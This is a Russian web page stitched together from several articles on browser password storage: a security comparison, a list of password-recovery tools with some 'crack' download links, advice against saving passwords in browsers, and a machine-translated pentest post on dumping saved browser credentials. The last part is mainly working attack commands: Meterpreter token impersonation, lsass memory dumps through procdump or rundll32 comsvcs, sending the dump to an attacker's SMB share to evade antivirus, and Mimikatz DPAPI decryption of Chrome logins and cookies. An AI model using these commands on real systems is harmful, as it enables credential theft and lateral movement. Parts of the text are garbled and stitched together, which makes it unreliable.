Ie где хранит пароли: Как посмотреть сохраненный пароль в Internet Explorer. 3 способа

Содержание

Самый безопасный браузер для хранения паролей

Специалист по безопасности Эрик Гейер (Eric Geier) из компании NoWiresSecurity опубликовал сравнительный обзор трёх браузеров IE 9, Chrome 21 и Firefox 14 с точки зрения безопасности хранения паролей.

Как ни странно, самая слабая защита реализована в браузере Chrome. Кто угодно, получив доступ к компьютеру, может зайти в настройки и посмотреть любой пароль из списка, где сайты расположены по алфавиту. Пароли выглядят как звёздочки, но можно нажать на любую запись, выбрать пункт «Показать пароль» — и его покажут открытым текстом

Хуже того, в настройках Autofill можно увидеть адреса и информацию о кредитных картах пользователя.

На этом проблемы Chrome не заканчиваются. Функция синхронизации Chrome позволяет синхронизировать между собой несколько браузеров на разных устройствах. При настройках по умолчанию для этого достаточно ввести пароль Google Account. Таким образом, если злоумышленник узнает пароль Google Account — он может мгновенно получить список всех пользовательских паролей на всех сайтах, просто осуществив синхронизацию браузеров. Чтобы избежать этого, нужно установить дополнительную парольную фразу на синхронизацию.

В браузере Internet Explorer 9 списка паролей не видно, и даже при автозаполнении формы во время входа на сайты нельзя посмотреть пароль, закрытый звёздочками. Чтобы снять базу паролей IE или посмотреть символы за звёздочками, требуется использование отдельной программы. В IE9 также отсутствует синхронизация между устройствами. Впрочем, в браузере IE 10 и Windows 8 разработчики исправили оба эти «недостатка»: там появился и список паролей, и синхронизация между устройствами, и обе эти функции так же уязвимы перед злоумышленником, как и в Chrome.

Наиболее защищённым из популярных браузеров можно назвать Firefox. Хотя с настройками по умолчанию он ничем не лучше Chrome, но продвинутые пользователи могут активировать функцию мастер-пароля, после чего всё хранилище паролей надёжно шифруется мастер-ключом. Этот ключ требуется вводить каждый раз при срабатывании автозаполнения форм, так что здесь утечка информации отсутствует

Функция мастер-пароля с шифрованием базы не реализована ни в одном другом браузере из рассматриваемых в обзоре.

Синхронизация между компьютерами в Firefox реализована более защищённым способом, чем в Chrome: по умолчанию, он шифрует все передаваемые данные, а не только пароли, как в Chrome. Кроме того, добавить новое устройство для синхронизации не так просто: требуется реально доказать, что оба устройства принадлежат одному человеку. Это делается введением на одном устройстве кода, которое приходит на другое устройство, или через ключ восстановления (recovery key), снятый с одного устройства и перенесённый на другое устройство.

xakep.ru

Дополнительная информация:

10 дополнений безопасности и анонимности для браузера Firefox

10 лучших расширений к браузеру Chrome для управления вкладками

Чей браузер безопаснее? Краткий обзор

«Любопытные» браузеры шпионят за пользователями

Удаление временных файлов и файлов cookie в браузерах. Очистка дискового кеша

Похожие публикации

Как защитить домашнюю сеть Wi-Fi от взлома

Безопасность в беспроводном мире

Тонкая настройка Internet Explorer 8

Разделы

Дополнительно

Быстро

Разработка

Восстановление пароля из веб-браузеров — Softik

Каждый веб-браузер позволяет сохранять пароли для входа на посещаемые сайты. Пользователи используют эту функцию, сохраняя пароли в базе паролей браузера. При следующем посещении нет необходимости вручную вводить логин и пароль. Однако часто пароли забываются = мы можем войти, потому что браузер автоматически заполняет поле пароля, но оно скрыто за звездочками; в то же время мы не знаем пароль учетной записи для входа на другой компьютер. В этой ситуации у нас есть возможность восстановить пароли, вам просто нужно знать, где их искать.
Примечание. Невозможно восстановить пароль, который не сохранен в базе паролей. Выберите «Не запоминать пароль».

Запись является обновленной версией ранее написанной статьи.

Браузер Google Chrome

Расположение сохраненных паролей: Google Chrome хранит сохраненные пароли в файле веб-данных (без расширения – зашифрованный файл базы данных SQLite) и в новых версиях в файле данных входа , который мы найдем:

Windows 2000 / XP

C: Documents and Settings имя пользователя Локальные настройки Данные приложения Google Chrome Данные пользователя По умолчанию Веб-данные

Windows Vista / 7

C: Users имя пользователя Appdata Local Google Chrome User Data Default Web Data

Восстановление пароля из Google Chrome:
Управление паролями на уровне браузера: значок настроек справа, рядом с адресной строкой -> Настройки -> Показать дополнительные настройки -> Пароли и формы >>> Управление сохраненными паролями.
У нас есть возможность включить / отключить запоминание паролей: «Предложить запомнить интернет-пароли».

Активная опция сохранения пароля отображает сообщение:

Предварительный просмотр и редактирование паролей Chrome – после нажатия на каждый элемент появится кнопка «Показать пароль».

ChromePass

инструмент используется для просмотра и сохранения паролей, хранящихся в Google Chrome.

скачать: chromepass.zip , chromepass_polish.zip (установка не требуется, переносной тип)

Восстановление пароля Google Chrome
После запуска приложения нажмите « Загрузить из профиля» и укажите каталог профиля, в котором находится файл веб-данных. Он может отображать пароли из внешнего профиля (вы даже можете скопировать файл веб-данных в каталог программы и указать его, и приложение легко покажет нам все пароли).
Загрузить: google-chrome-password-recovery.zip (установка не требуется)

Загрузка ChromePasswordDecryptor : последняя версия (установка не требуется, переносной тип)

Браузер Firefox

Расположение сохраненных паролей : Firefox хранит сохраненные пароли в 2 файлах:

key3. db – база данных для шифрования / дешифрования паролей, содержит мастер-пароль
signons.txt signons2.txt или signons3.txt (до версии 3.5) – фактическая информация для входа в систему + список страниц, на которых пользователь не хочет запоминать пароли,
signons.sqlite (Firefox 3.5 и выше) – аналогично signons.txt

Windows 2000 / XP

C: Documents and Settings имя пользователя Application Data Mozilla Firefox Profiles .default

Windows Vista / 7

C: Users имя пользователя AppData Roaming Mozilla Firefox Profiles .default

Восстановление пароля от Mozilla Firefox
Вы также можете отображать / удалять пароли на уровне браузера: Сервис -> Параметры -> Безопасность -> Сохраненные пароли.

Мы можем указать, должен ли браузер запоминать пароли, устанавливать исключения, устанавливать главный пароль для защиты паролем и включать менеджер паролей.

Активная опция сохранения пароля отображает сообщение:

PasswordFox

Приложение используется для просмотра и сохранения паролей, хранящихся в браузере Firefox. Это позволяет вам читать пароли, защищенные мастер-паролем, но мы должны предоставить их.

Загрузить: passwordfox.zip , passwordfox_polish.zip (установка не требуется, переносимый тип)

Firefox Password Recovery
Загрузить: firefox-password-recovery.zip (установка не требуется)

После запуска приложения нажмите « Загрузить из профиля», чтобы найти профиль, затем мы также должны войти в каталог установки. Он может отображать пароли из внешнего профиля, с другого компьютера или даже из другой системы, например, Linux. Когда в браузере активирована опция защиты паролем. Используйте мастер-пароль , появится всплывающее окно для ввода пароля – если мы не знаем его, будет невозможно прочитать пароли (с другой стороны, это полезная функция для защиты от несанкционированного использования паролей).

показывает пароли, хранящиеся в браузере Firefox, работает аналогично – вам также необходимо войти в папку профиля и папку установки

FirePasswordViewer скачать: последняя версия (установка не требуется, переносной тип)

Браузер Internet Explorer

Расположение сохраненных паролей : Internet Explorer хранит пароли двух типов:
автозаполнение (обычные пароли для входа на почту, для интернета) в реестре в ключе

HKEY_CURRENT_USER Программное обеспечение Microsoft Internet Explorer IntelliForms Storage2

и пароли авторизации HTPP (сетевой логин, страницы, защищенные паролем)

C: Documents and Settings nusername Application Data Microsoft Credentials
C: Users имя пользователя AppData Roaming Microsoft Credentials

В IE11 и Windows 8 вы можете просматривать пароли из браузера:
Свойства обозревателя> Содержание> Автозаполнение> Настройки
Здесь мы можем указать, должен ли IE запоминать пароли на веб-сайтах: «Спросите перед сохранением паролей».

При нажатии кнопки «Управление паролями» открывается диспетчер учетных данных, в котором хранятся пароли для входа; Вы можете удалить учетные данные, но чтобы показать пароль, наша учетная запись Windows должна быть на пароле.

Активная опция сохранения пароля отображает сообщение:

IE PassView

Приложение используется для просмотра и сохранения паролей, хранящихся в Internet Explorer.
После запуска программа автоматически считывает сохраненные пароли из реестра и других мест. Пароли зашифрованы URL-адресами веб-сайтов, поэтому их можно восстановить, только если URL-адреса хранятся в файле истории. Очистка файла истории означает, что программа не может восстановить пароли. Затем мы добавляем адреса веб-сайтов в файл iepv_sites.txt, расположенный в папке с программой, которая будет импортировать их и предоставлять пароли для входа. Кроме того, он позволяет загружать внешний профиль из другой системы на другой диск.

Загрузить: iepv. zip , iepv_polish.zip (установка не требуется, переносимый тип)

IEPasswordDecryptor download: последняя версия (установка не требуется, переносной тип)
Вы можете восстановить пароли (из IE 7-9) независимо от истории.

Браузер Opera

Расположение сохраненных паролей : браузер Opera хранит сохраненные пароли в файле wand.dat, который мы можем найти:

Windows 2000 / XP

C: Documents and Settings имя пользователя Данные приложения Opera Opera wand.dat

Windows Vista / 7

C: users username AppData Roaming Opera Opera wand.dat

Восстановление паролей из Opera:
На уровне браузера мы можем просматривать / удалять страницы с сохраненными паролями (но не с самими паролями): настройки> настройки> формы> включить менеджер паролей.
менеджер паролей кнопок

Примечание . Чтение паролей будет невозможно, если в браузере включена опция «Защитить сохраненные пароли с помощью основного пароля» (меню >>> Настройки >>> Настройки> вкладка «Дополнительно», раздел «Безопасность») – тогда файл зашифрован и защищен паролем. С другой стороны, это полезная функция для защиты от несанкционированного использования паролей.

Активная опция сохранения пароля отображает сообщение:

OperaPassView

Приложение используется для отображения и сохранения паролей, хранящихся в браузере Opera.

Загрузить: последняя версия , взломать (установка не требуется, переносной тип)

Opera Password Recovery скачать: opera-password-recovery.zip (установка не требуется)
После запуска приложения нажмите « Загрузить из профиля», чтобы найти профиль, или « Загрузить из WAND.DAT», чтобы указать файл. Он может отображать пароли из внешнего профиля (вы даже можете скопировать файл WAND.DAT в каталог программы и указать его, и приложение легко покажет нам все пароли).

Загрузка OperaPasswordDecryptor : последняя версия (установка не требуется, переносной тип)
работает с Opera версии 12 и Opera Next на основе Chrome.

утилита для извлечения паролей из Opera Wand
скачать: opera. wand.dat.passwords.retrieve.utility.zip

Скопируйте файл wand.dat в папку программы, нажмите retrieve.bat, и у нас есть логины / пароли в текстовом файле.

Приложения All-In-One, то есть для всех браузеров.
WebBrowserPassView

Лицензия: бесплатная
br /> Платформа: Windows 2000 / XP / Vista / 7 (поддержка 32 и 64 бит)

описание
Приложение позволяет отображать пароли из 5 самых популярных браузеров: Internet Explorer (версия 4.0 – 11.0), Mozilla Firefox (все версии), Google Chrome, Safari и Opera. Отображаемые пароли могут быть сохранены в отчете.

Скачать : последняя версия , крэк

Снимок экрана:

Расшифровщик паролей браузера
другое приложение для восстановления паролей от всех веб-браузеров.

Вышеуказанные методы позволяют восстановить пароли, сохраненные в базе данных браузера. Хранение паролей в базе данных браузера, однако, имеет свои преимущества и недостатки.
Преимущество в первую очередь удобство = нам не нужно вводить пароли вручную, и нам не нужно их запоминать.
Недостатком, однако, является безопасность этого решения. Любой, кто знает методы, представленные в записи, может захватывать пароли для других пользователей, становясь мини-хакером. Кроме того, войдя в такую учетную запись, любой может легко войти на страницу, так как браузер сам заполнит поля для входа. Решением может быть мастер-пароль, используемый в некоторых браузерах. Однако лично я предлагаю использовать внешние, более безопасные решения:
Keepass хранит пароли локально
Lastpass хранит пароли в облаке.

PS. Из-за того, что инструменты, представленные здесь, работают = считывание паролей, являющихся частью личных данных, антивирусные программы могут отображать поддельные сообщения вредоносных программ. Не будем волноваться, программы безопасны.

Мітка
безопасность
пароли

Windows загальне

Софт для Windows

Windows 10

Сохранение паролей в вашем браузере? Не стоит: вот почему

Все уже должны знать, насколько важно использовать надежные пароли. В идеале у вас должен быть свой пароль для каждой учетной записи, и все они должны быть длинными, сложными и содержать цифры и специальные символы.

Мало кто соблюдает эти правила, что и понятно. В конце концов, кто мог запомнить все эти пароли? Намного удобнее просто хранить их где-то, например, в браузере. Но это не очень хорошая идея.

Почему хранение ваших паролей в браузере — ужасная идея

В настоящее время большинство браузеров отображают всплывающее окно «сохранить пароль» всякий раз, когда пользователь регистрируется на веб-сайте. Таким образом, если вы нажмете «Сохранить» при появлении этого всплывающего окна, браузер сохранит ваши учетные данные, и вам не придется вводить их при следующем входе на тот же веб-сайт.

Эта функция называется автозаполнением и позволяет браузерам автоматически заполнять формы и поля входа информацией, начиная от паролей и имен пользователей, заканчивая платежными реквизитами и даже номерами кредитных карт. Определенно практично, но также немного кошмарно для кибербезопасности — многое может пойти не так, если вы позволите браузеру сохранить ваши учетные данные.

Возьмем очевидный пример: что, если вы поделитесь своим устройством с другими? Хранение ваших паролей и имен пользователей в браузере рабочего компьютера вызывает проблемы. Даже если вы уверены, что ваши коллеги или члены семьи никогда не нарушат вашу конфиденциальность, нет необходимости так сильно рисковать ради небольшого удобства.

Кроме того, в большинстве браузеров отсутствуют встроенные возможности двухфакторной и многофакторной аутентификации. Это означает, что все, что нужно сделать злоумышленнику, — это каким-то образом получить доступ к вашему устройству. Их не будут просить проходить через какие-либо дополнительные обручи, то есть вводить одноразовый код подтверждения, сканировать свое лицо или оставлять отпечаток пальца.

Расширения и надстройки отлично подходят, если вы хотите настроить свой браузер, но вредоносные программы иногда проскальзывают сквозь трещины и могут представлять значительный риск для безопасности. Представьте, что произойдет с вашими учетными записями, если вредоносное расширение позволит злоумышленнику получить ваши сохраненные пароли?

Добавьте к этому множество других угроз кибербезопасности, таких как вредоносное ПО и фишинг, и станет очевидным, почему хранение ваших паролей в браузере не рекомендуется.

Как удалить сохраненные пароли из браузера

Если в вашем браузере уже хранится куча паролей, не стоит паниковать. Вы можете удалить их все быстро и легко, всего за несколько кликов.

Если вы используете Chrome (или другие браузеры на базе Chromium, например Brave), щелкните три маленькие точки или полосы в правом верхнем углу, а затем перейдите к Настройки в раскрывающемся меню. Слева должен быть список вкладок, на одной из которых должно быть написано Автозаполнение или Автозаполнение и пароли . Откройте эту вкладку и удалите пароли.

Вы можете сделать то же самое в Firefox, выбрав Настройки > Конфиденциальность и безопасность > Сохраненные логины . Чтобы удалить все пароли, хранящиеся в Firefox, нажмите на три точки в правом верхнем углу (прямо под адресной строкой), а затем нажмите Удалить все логины . Подтвердите действие, и все готово.

Если у вас есть компьютер Mac и вы используете Safari, вам нужно запустить меню Apple (в верхнем левом углу), а затем перейти к Системные настройки > Системные настройки . Выберите Passwords и введите пароль пользователя Mac. После этого выберите пароли, которые хотите удалить, или просто нажмите Remove All .

На смартфонах процесс практически идентичен. Независимо от того, есть ли у вас iPhone или телефон Android, вы сможете удалить пароли и другие учетные данные менее чем за пару минут, следуя этим инструкциям.

Где я могу хранить свои пароли вместо этого?

У большинства из нас есть несколько десятков учетных записей в Интернете, и мы ежедневно заходим в них. Если бы вы следовали элементарным правилам безопасности, у вас был бы другой пароль для каждой учетной записи, и вы бы периодически меняли его. Это неизбежно приведет к усталости паролей, что происходит, когда нужно запомнить слишком много учетных данных для входа.

Суть в следующем: вы не должны хранить пароли в своем браузере, но вы также должны использовать уникальные пароли для каждой вашей учетной записи. С другой стороны, вы не можете реально запомнить так много сложных фраз, большинство из которых содержат цифры и тому подобное. В чем тогда решение? Использование менеджера паролей.

Менеджеры паролей — это специализированные приложения, которые хранят учетные данные пользователей и управляют ими. С менеджерами паролей все, что вам нужно сделать, это запомнить одну фразу, называемую мастер-паролем. А иногда и этого нет, потому что некоторые программы используют биометрические данные (например, ваш отпечаток пальца или лицо).

На рынке существует множество менеджеров паролей, но, возможно, лучшими являются Bitwarden, NordPass и Dashlane. У всех трех есть бесплатная и премиальная версии, поэтому, даже если вас беспокоит бюджет, вы сможете что-то придумать. Что еще более важно, они используют надежные алгоритмы шифрования и сохранят ваши учетные данные в безопасности. Во всяком случае, безопаснее, чем браузер.

Следует также отметить, что Bitwarden и NordPass доступны практически на всех платформах, а Dashlane ориентирован на рынок мобильных устройств с приложениями для Android и iOS. Однако у Dashlane есть расширение для Chrome и надстройка для Firefox, что также может быть хорошим вариантом для некоторых (хотя установка специального программного обеспечения на вашем устройстве сравнительно безопаснее).

Предприятия и крупные организации, в частности, выиграют от инвестиций в корпоративный менеджер паролей, вместо того, чтобы полагаться на память сотрудников и осведомленность о кибербезопасности. В этой категории Keeper, вероятно, является лучшим решением с его архитектурой нулевого доверия и 256-битным шифрованием AES.

Вы в безопасности настолько, насколько защищен ваш пароль

Некоторые утверждают, что в ближайшем будущем биометрические данные полностью заменят пароли. До тех пор, пока этого не произойдет, пароли останутся исключительно эффективным механизмом контроля доступа, а это значит, что они также останутся главной целью для хакеров и злоумышленников.

Безопасное и надежное хранение ваших паролей является абсолютной необходимостью, поэтому вам следует рассмотреть возможность приобретения менеджера паролей. А пока вы этого не сделаете, ознакомьтесь с наиболее распространенными уловками, которые киберпреступники используют для взлома паролей.

Кража сохраненных паролей браузера: ваш новый любимый метод постэксплуатации | by Kyle Mistele

8 min read

24 июня 2021

Люди повторно используют пароли, и большинство людей никогда не перестанут это делать, несмотря на то, как часто им напоминают об этом. Как известно каждому пентестеру, повторное использование паролей — обычное дело, и мало что нам нравится больше, чем поиск кешей паролей!

Я больше всего люблю находить такие кэши в браузерах — большинство современных браузеров либо сохраняют, либо предлагают сохранить ваши пароли для вас, а некоторые даже сохраняют их по умолчанию! Многие люди пользуются этой удобной функцией, в результате чего их пароли хранятся на диске в файлах данных приложения их браузера.

В прошлом мне очень везло с использованием сохраненных паролей браузера для бокового перемещения или перехода к другим приложениям и службам. В этой статье я расскажу о наборе инструментов и методологии, которые я использую для сброса сохраненных паролей из браузеров. В частности, я расскажу:

IE/Edge
Firefox
Chrome/Brave/Opera

Примечание. Я не проверял это на более новых версиях Edge. Более старые версии используют хранилище учетных данных (например, IE), более новые сохраняют их в облаке на серверах Microsoft, если вы вошли в учетную запись Microsoft. Это все еще стоит проверить в любом случае.

Требования

Для дампа учетных данных из IE и старых версий Edge вам потребуется одно из следующего:

оболочка в качестве пользователя, у которого вы хотите украсть учетные данные PowerShell

Вы можете использовать следующие команды PowerShell для получения списка сохраненных логина, пароля и URL-адресов, которые хранятся в хранилище учетных данных вашего пользователя:

В качестве альтернативы вы можете удалить следующую однострочную строку:

Информацию об этой технике можно найти на @CyberWarship

Сброс кредитных данных из NT Authority\System shell

У вас есть несколько вариантов этой атаки, если вы работаете в оболочке с высокой степенью интеграции. Если вы используете Meterpreter, вы можете использовать следующие команды для олицетворения пользователя:

 load incognito 
 list tokens -u 
 impersonate_token  
 shell

Другие фреймворки C2 могут предоставлять аналогичную функцию. Затем вы можете использовать приведенные выше команды PowerShell, как обычно.

В качестве альтернативы вы можете создать запланированную задачу, которая будет выполняться от имени желаемого пользователя (пользователей). Во-первых, создайте следующий сценарий PowerShell на хосте-жертве в месте, доступном для чтения пользователю, на которого вы нацелились (C:\users\public\documents — всегда хорошее место). Обратите внимание, что этот сценарий изменен по сравнению с версией, представленной выше.

Затем выполните следующую команду, чтобы запланировать и запустить задачу от имени пользователя для выполнения сценария PowerShell, созданного на предыдущем шаге:

Обязательно измените путь к скрипту, время запуска, доменное имя и имя пользователя! Затем, как только задача будет выполнена, перейдите туда, где вы написали файл, и вы сможете прочитать все сохраненные учетные данные пользователя IE/Edge.

В качестве альтернативы, вы можете использовать Mimikatz на целевом хосте или на дампе памяти lsass. exe: нагрузка дамп памяти
vault::cred
vault::list

Как это работает: в зависимости от версии Firefox будет хранить логины и пароли в следующих файлах:

Firefox < 32 (key3.db, signons.sqlite)
Firefox >=32 (key3 .db, logins.json)
Firefox >=58.0.2 (key4.db, logins.json)
Firefox >=75.0 (sha1 pbkdf2 sha256 aes256 cbc используется key4.db, logins.json)
не менее Thunderbird 68.7.0, вероятно, другие версии

Обратите внимание, что в файле ключей хранится ключ шифрования, который используется для шифрования значений в файлах sqlite/json. Эта атака на самом деле может быть выполнена в автономном режиме, если у нас есть файлы, которые нам нужны.

Получение ключей и файлов входа в систему

Путь к файлу по умолчанию, в котором хранятся эти файлы, предсказуем, но он содержит случайную строку, поэтому захват этих файлов не очень легко выполнить из сценария:

%USERPROFILE% \appdata\roaming\mozilla\firefox\profiles\. default

Скопируйте все файлы в этом каталоге.

Использование firepwd для расшифровки логинов

Инструмент, который я использую для расшифровки этих файлов, называется firewpd. Это довольно легко настроить, вам просто нужен python 3 и pip:

 python3 -m pip install --upgrade pip

Клонируйте репозиторий, а затем выполните следующие команды: firepwd/ каталог и запустите его:

python3 firepwd.py # обнаружить файлы в текущем каталоге
python3 firepwd.py -d альтернативный_каталог/ # обязательный "/" в конце пароль для защиты входа в систему. Я никогда не видел, чтобы кто-то действительно использовал это. Однако, если он используется, вам нужно указать его с помощью -p опция.

Chrome, Brave и Opera построены на Chromium, и все они работают более или менее одинаково. В результате все они хранят пароли более или менее одинаково.

В этом разделе я буду использовать «Chrome» для обозначения браузера, но этот процесс работает для Chrome, Brave и Opera.

Требования

Одно из следующего:

PowerShell и копия System.Data.Sqlite.dll
Mimikatz

И одно из следующего:

привилегии пользователя, учетные данные которого вы хотите сбросить
Доступ администратора или доступ NT Authority\System

Предостережение

Плохая новость: Chrome et al. используйте Win32 DPAPI (в частности, CryptProtectData и CryptUnprotectData) для защиты паролей входа в систему. Это может немного раздражать при расшифровке этих паролей, поскольку любой инструмент, который вы используете, должен иметь возможность использовать Win32 API. Это означает, что вы, вероятно, смотрите на PowerShell, C, C# или Rust (который поддерживает API Win32 несколько недель назад), и вы, скорее всего, не сможете выполнить эту атаку в автономном режиме на хосте Linux. — API прозрачен, а его внутренняя работа плохо документирована.

Хорошие новости :

Как я уже писал, для выполнения этой атаки нужен доступ к DPAPI. Однако вам не нужно использовать DPAPI на хосте, с которого вы крадете пароли. Если вы можете украсть необходимые файлы (подробнее об этом через секунду) и нужные вам ключи DPAPI, то вы можете переместить их на другой хост Windows (например, ваш хост Windows) и использовать его функциональность DPAPI.

Важные файлы

Вам потребуются следующие файлы из профиля пользователя:

Chrome:

%USERPROFILE%\appdata\local\google\chrome\user data\PROFILE\Login Data

%USERPROFILE%\appdata\local\google\chrome\user data\PROFILE\ куки

Brave:

%USERPROFILE%\appdata\local\BraveSoftware\Brave-Browser\данные пользователя\ПРОФИЛЬ\Данные для входа

%USERPROFILE%\app данные\локальные\BraveSoftware\Brave-Browser\пользователь данные\ПРОФИЛЬ\Cookies

Opera:

%USERPROFILE%\appdata\roaming\Opera Software\Opera Stable\Login Data

%USERPROFILE%\appdata\local\Opera Software\Opera Stable\Cookies

900 02 (Обратите внимание, что если ваша версия Opera отличается, вы можете увидеть что-то отличное от «Opera Stable»)

Обязательно замените ПРОФИЛЬ именем профиля пользователя, на который вы ориентируетесь (некоторые из этих браузеров поддерживают несколько профилей пользователей). Значение по умолчанию, если оно не настроено, равно 9.0163 По умолчанию .

Если хром запущен, вам нужно скопировать эти файлы в другое место или убить хром (или любой другой браузер, который вы пытаетесь использовать) и его дочерние процессы: taskkill /f /t /im chrome. exe (принудительное уничтожение, завершение дочерних процессов, использование имени образа).

Использование PowerShell для сброса паролей и файлов cookie

Поддерживает @0gtweet для этого метода — он намного проще, чем метод с использованием Mimikatz ранее. Вам понадобится копия System.Data.SQLite.dll для этого инструмента, и вам потребуется изменить сценарий PowerShell, чтобы включить относительный путь к нему. Обязательно прочтите мое дополнение под этой сутью, прежде чем запускать его!

Обязательно измените путь к файлу DLL SQLite. Если вы запустите скрипт, не обновив его, или скрипт не сможет его найти, он предложит вам загрузить его.

Вам также необходимо изменить путь к файлу данных для входа, если запущен Chrome или если вы пытаетесь сбросить пароли из Brave или Opera.

Вы можете найти полный список DLL здесь (не забудьте получить предварительно скомпилированную для вашей архитектуры — она в zip-файле), хотя, скорее всего, это то, что вам нужно (для x64 Windows).

Загрузите ZIP-файл, разархивируйте его, перетащите DLL на целевой хост, обновите и запустите сценарий PowerShell.

Использование Mimikatz для дампа паролей и файлов cookie

Эта атака может быть выполнена как онлайн, так и оффлайн, но если вы делаете это офлайн, она дает право на дамп lsass.exe и, следовательно, требует прав NT Authority\System. Это может потребовать или не потребовать системных привилегий для выполнения атаки в сети (я всегда делаю это в автономном режиме, чтобы я мог просто использовать procdump на цели вместо того, чтобы иметь дело с крадущимся Mimikatz мимо антивируса).

У @Harmj0y есть отличный подробный отчет, ниже версия TL;DR.

Обратите внимание: хотя в этом разделе я использовал Chrome вместо Chrome, Brave и Opera, в командах Mimikatz это не так. В этом отношении команды Mimikatz следует интерпретировать буквально: всегда следует использовать dpapi::chrome , даже если вы пытаетесь расшифровать файлы Brave или Opera.

(при проведении атаки в автономном режиме) Дамп lsass.exe:

Если вы используете procdump, я рекомендую использовать параметр для дампа lsass.exe через PID, а не имя образа — по-видимому, иногда Защитник будет помечать дамп, если вы используете имя образа, но PID имеет тенденцию обходить его. по какой-то причине.

В качестве альтернативы вы можете использовать PowerShell и runDLL32.exe вместо procdump. Это также, как правило, хорошо справляется с антивирусом в тестах, которые я проводил.

 # используйте procdump с PID lsass, а не с именем образа 
 список задач /fi "Imagename eq lsass.exe" 
 procdump -accepteula -ma PID_of_lsass dumpfile. dmp# используйте powershell и запуститеDLL32 
 powershell -c rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump (Get-Process lsass).id C:\users\public\dump. dmp full

Иногда антивирус не останавливает создание дампа lsass, но ловит файл дампа и стирает его. Если это так, вы можете смонтировать общий ресурс SMB и сбросить его по сети в общий ресурс — AV не сотрет его там.

 net use X: \\MY_SMB_SERVER\MY_SHARE\ 
 powershell -c rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump (Get-Process lsass).id X:\lsassdumpbin.dmp full

2. Загрузить дамп памяти

 sekurlsa::minidump lsassdump.dmp

По какой-то причине вам иногда также нужно запустить sekurlsa::logonpasswords , чтобы заставить его работать. Не знаю, почему.

3. Посмотрите, что доступно в файлах cookie и логинах

Ссылаясь на пути к файлам cookie и логинам, выполните следующее:

 dpapi::chrome /in:"C:/path/to/login/data" /unprotect 
 dpapi::chrome /in:"C:/path/to/cookies" /unprotect

4. Определите, какой мастер-ключ DPAPI вам нужен

Здесь вы ищете NTE_BAD_KEY_STATE, необходимый мастер-ключ: {KEY} . Может быть пара. $GUID — это GUID нужного вам ключа.

5. Потяните ключ DPAPI

 sekurlsa::dpapi

Это даст вам набор результатов, которые выглядят примерно так:

 [000000000n] 
 * GUID : {$GUID ID} 
 * Время: $ ВРЕМЯ 
 * MasterKey : $LONG_MASTER_KEY 
 * sha1(key) : $SHA1_KEY

Найдите ключ с GUID, который соответствует тому, что вы нашли на шаге 4, и возьмите поле sha1(key) .

6. Прибыль

 dpapi::chrome /in:"C:/path/to/login/data" /masterkey:SHA1_KEY_HERE 
 dpapi::chrome /in:"C:/path/to/cookies" /masterkey:SHA1_KEY_HERE

В этом посте я рассказал, как выгрузить сохраненные учетные данные браузера из IE, Edge, Firefox, Chrome, Opera и Brave. Это отличная тактика для горизонтального перемещения между различными веб-приложениями домена и интрасети, и даже может привести к возможности перехода к облачным средам и службам (учетные данные AWS/Azure/O365, кто-нибудь?).